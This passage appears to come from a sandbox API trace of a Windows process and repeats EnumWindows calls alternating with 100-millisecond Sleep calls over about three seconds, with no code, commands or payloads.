(lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.647] Sleep (dwMilliseconds=0x64) [0164.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.649] Sleep (dwMilliseconds=0x64) [0164.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.651] Sleep (dwMilliseconds=0x64) [0164.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.653] Sleep (dwMilliseconds=0x64) [0164.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.655] Sleep (dwMilliseconds=0x64) [0164.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.664] Sleep (dwMilliseconds=0x64) [0164.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.697] Sleep (dwMilliseconds=0x64) [0164.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.772] Sleep (dwMilliseconds=0x64) [0164.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.773] Sleep (dwMilliseconds=0x64) [0164.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.775] Sleep (dwMilliseconds=0x64) [0164.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.779] Sleep (dwMilliseconds=0x64) [0164.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.784] Sleep (dwMilliseconds=0x64) [0164.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.786] Sleep (dwMilliseconds=0x64) [0164.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.788] Sleep (dwMilliseconds=0x64) [0164.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.789] Sleep (dwMilliseconds=0x64) [0164.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.791] Sleep (dwMilliseconds=0x64) [0164.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.792] Sleep (dwMilliseconds=0x64) [0164.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.794] Sleep (dwMilliseconds=0x64) [0164.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.795] Sleep (dwMilliseconds=0x64) [0164.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.797] Sleep (dwMilliseconds=0x64) [0164.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.798] Sleep (dwMilliseconds=0x64) [0164.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.810] Sleep (dwMilliseconds=0x64) [0164.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.812] Sleep (dwMilliseconds=0x64) [0164.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.897] Sleep (dwMilliseconds=0x64) [0164.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.909] Sleep (dwMilliseconds=0x64) [0164.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.911] Sleep (dwMilliseconds=0x64) [0164.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.913] Sleep (dwMilliseconds=0x64) [0164.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.915] Sleep (dwMilliseconds=0x64) [0164.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.916] Sleep (dwMilliseconds=0x64) [0164.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.918] Sleep (dwMilliseconds=0x64) [0164.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.919] Sleep (dwMilliseconds=0x64) [0164.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.922] Sleep (dwMilliseconds=0x64) [0164.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.924] Sleep (dwMilliseconds=0x64) [0164.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.926] Sleep (dwMilliseconds=0x64) [0164.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.927] Sleep (dwMilliseconds=0x64) [0164.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.929] Sleep (dwMilliseconds=0x64) [0164.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.930] Sleep (dwMilliseconds=0x64) [0164.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.932] Sleep (dwMilliseconds=0x64) [0164.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.934] Sleep (dwMilliseconds=0x64) [0164.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.971] Sleep (dwMilliseconds=0x64) [0165.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.037] Sleep (dwMilliseconds=0x64) [0165.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.076] Sleep (dwMilliseconds=0x64) [0165.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.078] Sleep (dwMilliseconds=0x64) [0165.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.094] Sleep (dwMilliseconds=0x64) [0165.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.097] Sleep (dwMilliseconds=0x64) [0165.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.099] Sleep (dwMilliseconds=0x64) [0165.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.101] Sleep (dwMilliseconds=0x64) [0165.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.103] Sleep (dwMilliseconds=0x64) [0165.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.105] Sleep (dwMilliseconds=0x64) [0165.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.107] Sleep (dwMilliseconds=0x64) [0165.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.109] Sleep (dwMilliseconds=0x64) [0165.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.111] Sleep (dwMilliseconds=0x64) [0165.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.113] Sleep (dwMilliseconds=0x64) [0165.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.114] Sleep (dwMilliseconds=0x64) [0165.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.116] Sleep (dwMilliseconds=0x64) [0165.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.117] Sleep (dwMilliseconds=0x64) [0165.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.119] Sleep (dwMilliseconds=0x64) [0165.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.121] Sleep (dwMilliseconds=0x64) [0165.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.174] Sleep (dwMilliseconds=0x64) [0165.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.267] Sleep (dwMilliseconds=0x64) [0165.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.270] Sleep (dwMilliseconds=0x64) [0165.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.272] Sleep (dwMilliseconds=0x64) [0165.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.273] Sleep (dwMilliseconds=0x64) [0165.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.275] Sleep (dwMilliseconds=0x64) [0165.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.277] Sleep (dwMilliseconds=0x64) [0165.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.279] Sleep (dwMilliseconds=0x64) [0165.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.282] Sleep (dwMilliseconds=0x64) [0165.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.284] Sleep (dwMilliseconds=0x64) [0165.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.286] Sleep (dwMilliseconds=0x64) [0165.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.288] Sleep (dwMilliseconds=0x64) [0165.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.290] Sleep (dwMilliseconds=0x64) [0165.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.292] Sleep (dwMilliseconds=0x64) [0165.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.294] Sleep (dwMilliseconds=0x64) [0165.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.296] Sleep (dwMilliseconds=0x64) [0165.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.354] Sleep (dwMilliseconds=0x64) [0165.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.419] Sleep (dwMilliseconds=0x64) [0165.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.422] Sleep (dwMilliseconds=0x64) [0165.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.424] Sleep (dwMilliseconds=0x64) [0165.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.426] Sleep (dwMilliseconds=0x64) [0165.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.428] Sleep (dwMilliseconds=0x64) [0165.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.430] Sleep (dwMilliseconds=0x64) [0165.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.431] Sleep (dwMilliseconds=0x64) [0165.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.433] Sleep (dwMilliseconds=0x64) [0165.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.435] Sleep (dwMilliseconds=0x64) [0165.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.440] Sleep (dwMilliseconds=0x64) [0165.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.441] Sleep (dwMilliseconds=0x64) [0165.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.443] Sleep (dwMilliseconds=0x64) [0165.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.445] Sleep (dwMilliseconds=0x64) [0165.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.447] Sleep (dwMilliseconds=0x64) [0165.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.448] Sleep (dwMilliseconds=0x64) [0165.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.491] Sleep (dwMilliseconds=0x64) [0165.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.593] Sleep (dwMilliseconds=0x64) [0165.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.596] Sleep (dwMilliseconds=0x64) [0165.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.598] Sleep (dwMilliseconds=0x64) [0165.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.599] Sleep (dwMilliseconds=0x64) [0165.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.602] Sleep (dwMilliseconds=0x64) [0165.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.603] Sleep (dwMilliseconds=0x64) [0165.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.605] Sleep (dwMilliseconds=0x64) [0165.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.608] Sleep (dwMilliseconds=0x64) [0165.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.610] Sleep (dwMilliseconds=0x64) [0165.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.612] Sleep (dwMilliseconds=0x64) [0165.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.614] Sleep (dwMilliseconds=0x64) [0165.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.616] Sleep (dwMilliseconds=0x64) [0165.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.619] Sleep (dwMilliseconds=0x64) [0165.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.675] Sleep (dwMilliseconds=0x64) [0165.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.740] Sleep (dwMilliseconds=0x64) [0165.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.744] Sleep (dwMilliseconds=0x64) [0165.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.745] Sleep (dwMilliseconds=0x64) [0165.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.748] Sleep (dwMilliseconds=0x64) [0165.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.751] Sleep (dwMilliseconds=0x64) [0165.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.753] Sleep (dwMilliseconds=0x64) [0165.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.754] Sleep (dwMilliseconds=0x64) [0165.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.756] Sleep (dwMilliseconds=0x64) [0165.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.758] Sleep (dwMilliseconds=0x64) [0165.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.759] Sleep (dwMilliseconds=0x64) [0165.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.761] Sleep (dwMilliseconds=0x64) [0165.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.763] Sleep (dwMilliseconds=0x64) [0165.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.765] Sleep (dwMilliseconds=0x64) [0165.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.767] Sleep (dwMilliseconds=0x64) [0165.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.769] Sleep (dwMilliseconds=0x64) [0165.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.808] Sleep (dwMilliseconds=0x64) [0165.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.878] Sleep (dwMilliseconds=0x64) [0165.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.880] Sleep (dwMilliseconds=0x64) [0165.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.883] Sleep (dwMilliseconds=0x64) [0165.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.886] Sleep (dwMilliseconds=0x64) [0165.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.889] Sleep (dwMilliseconds=0x64) [0165.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.896] Sleep (dwMilliseconds=0x64) [0165.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.898] Sleep (dwMilliseconds=0x64) [0165.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.901] Sleep (dwMilliseconds=0x64) [0165.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.902] Sleep (dwMilliseconds=0x64) [0165.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.904] Sleep (dwMilliseconds=0x64) [0165.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.907] Sleep (dwMilliseconds=0x64) [0165.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0165.924] Sleep (dwMilliseconds=0x64) [0166.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.063] Sleep (dwMilliseconds=0x64) [0166.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.068] Sleep (dwMilliseconds=0x64) [0166.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.071] Sleep (dwMilliseconds=0x64) [0166.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.077] Sleep (dwMilliseconds=0x64) [0166.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.081] Sleep (dwMilliseconds=0x64) [0166.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.084] Sleep (dwMilliseconds=0x64) [0166.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.102] Sleep (dwMilliseconds=0x64) [0166.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.188] Sleep (dwMilliseconds=0x64) [0166.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.190] Sleep (dwMilliseconds=0x64) [0166.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.213] Sleep (dwMilliseconds=0x64) [0166.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.217] Sleep (dwMilliseconds=0x64) [0166.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.219] Sleep (dwMilliseconds=0x64) [0166.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.221] Sleep (dwMilliseconds=0x64) [0166.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.223] Sleep (dwMilliseconds=0x64) [0166.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.224] Sleep (dwMilliseconds=0x64) [0166.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.226] Sleep (dwMilliseconds=0x64) [0166.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.227] Sleep (dwMilliseconds=0x64) [0166.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.229] Sleep (dwMilliseconds=0x64) [0166.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.230] Sleep (dwMilliseconds=0x64) [0166.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.232] Sleep (dwMilliseconds=0x64) [0166.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.233] Sleep (dwMilliseconds=0x64) [0166.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.235] Sleep (dwMilliseconds=0x64) [0166.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.237] Sleep (dwMilliseconds=0x64) [0166.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.239] Sleep (dwMilliseconds=0x64) [0166.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.242] Sleep (dwMilliseconds=0x64) [0166.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.304] Sleep (dwMilliseconds=0x64) [0166.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.359] Sleep (dwMilliseconds=0x64) [0166.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.361] Sleep (dwMilliseconds=0x64) [0166.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.363] Sleep (dwMilliseconds=0x64) [0166.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.365] Sleep (dwMilliseconds=0x64) [0166.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.367] Sleep (dwMilliseconds=0x64) [0166.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.369] Sleep (dwMilliseconds=0x64) [0166.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.373] Sleep (dwMilliseconds=0x64) [0166.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.374] Sleep (dwMilliseconds=0x64) [0166.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.376] Sleep (dwMilliseconds=0x64) [0166.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.377] Sleep (dwMilliseconds=0x64) [0166.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.379] Sleep (dwMilliseconds=0x64) [0166.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.382] Sleep (dwMilliseconds=0x64) [0166.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.383] Sleep (dwMilliseconds=0x64) [0166.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.385] Sleep (dwMilliseconds=0x64) [0166.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.386] Sleep (dwMilliseconds=0x64) [0166.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.445] Sleep (dwMilliseconds=0x64) [0166.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.473] Sleep (dwMilliseconds=0x64) [0166.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.559] Sleep (dwMilliseconds=0x64) [0166.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.563] Sleep (dwMilliseconds=0x64) [0166.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.574] Sleep (dwMilliseconds=0x64) [0166.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.584] Sleep (dwMilliseconds=0x64) [0166.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.586] Sleep (dwMilliseconds=0x64) [0166.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.587] Sleep (dwMilliseconds=0x64) [0166.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.589] Sleep (dwMilliseconds=0x64) [0166.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.613] Sleep (dwMilliseconds=0x64) [0166.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.715] Sleep (dwMilliseconds=0x64) [0166.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.722] Sleep (dwMilliseconds=0x64) [0166.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.724] Sleep (dwMilliseconds=0x64) [0166.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.726] Sleep (dwMilliseconds=0x64) [0166.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.728] Sleep (dwMilliseconds=0x64) [0166.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.730] Sleep (dwMilliseconds=0x64) [0166.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.732] Sleep (dwMilliseconds=0x64) [0166.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.836] Sleep (dwMilliseconds=0x64) [0166.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.847] Sleep (dwMilliseconds=0x64) [0166.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.850] Sleep (dwMilliseconds=0x64) [0166.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.852] Sleep (dwMilliseconds=0x64) [0166.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.854] Sleep (dwMilliseconds=0x64) [0166.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.856] Sleep (dwMilliseconds=0x64) [0166.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.859] Sleep (dwMilliseconds=0x64) [0166.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.861] Sleep (dwMilliseconds=0x64) [0166.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.863] Sleep (dwMilliseconds=0x64) [0166.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.865] Sleep (dwMilliseconds=0x64) [0166.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.867] Sleep (dwMilliseconds=0x64) [0166.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.869] Sleep (dwMilliseconds=0x64) [0166.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.871] Sleep (dwMilliseconds=0x64) [0166.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.873] Sleep (dwMilliseconds=0x64) [0166.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.874] Sleep (dwMilliseconds=0x64) [0166.876] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.876] Sleep (dwMilliseconds=0x64) [0166.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0166.973] Sleep (dwMilliseconds=0x64) [0166.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.000] Sleep (dwMilliseconds=0x64) [0167.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.002] Sleep (dwMilliseconds=0x64) [0167.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.004] Sleep (dwMilliseconds=0x64) [0167.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.006] Sleep (dwMilliseconds=0x64) [0167.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.009] Sleep (dwMilliseconds=0x64) [0167.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.011] Sleep (dwMilliseconds=0x64) [0167.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.013] Sleep (dwMilliseconds=0x64) [0167.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.015] Sleep (dwMilliseconds=0x64) [0167.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.017] Sleep (dwMilliseconds=0x64) [0167.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.019] Sleep (dwMilliseconds=0x64) [0167.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.020] Sleep (dwMilliseconds=0x64) [0167.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.022] Sleep (dwMilliseconds=0x64) [0167.023] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.024] Sleep (dwMilliseconds=0x64) [0167.025] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.026] Sleep (dwMilliseconds=0x64) [0167.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.029] Sleep (dwMilliseconds=0x64) [0167.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.068] Sleep (dwMilliseconds=0x64) [0167.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.120] Sleep (dwMilliseconds=0x64) [0167.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.122] Sleep (dwMilliseconds=0x64) [0167.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.124] Sleep (dwMilliseconds=0x64) [0167.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.147] Sleep (dwMilliseconds=0x64) [0167.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.149] Sleep (dwMilliseconds=0x64) [0167.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.182] Sleep (dwMilliseconds=0x64) [0167.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.271] Sleep (dwMilliseconds=0x64) [0167.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.273] Sleep (dwMilliseconds=0x64) [0167.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.275] Sleep (dwMilliseconds=0x64) [0167.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.277] Sleep (dwMilliseconds=0x64) [0167.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.279] Sleep (dwMilliseconds=0x64) [0167.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.282] Sleep (dwMilliseconds=0x64) [0167.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.284] Sleep (dwMilliseconds=0x64) [0167.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0167.286] Sleep (dwMilliseconds=0x64) [0167.287] EnumWindows 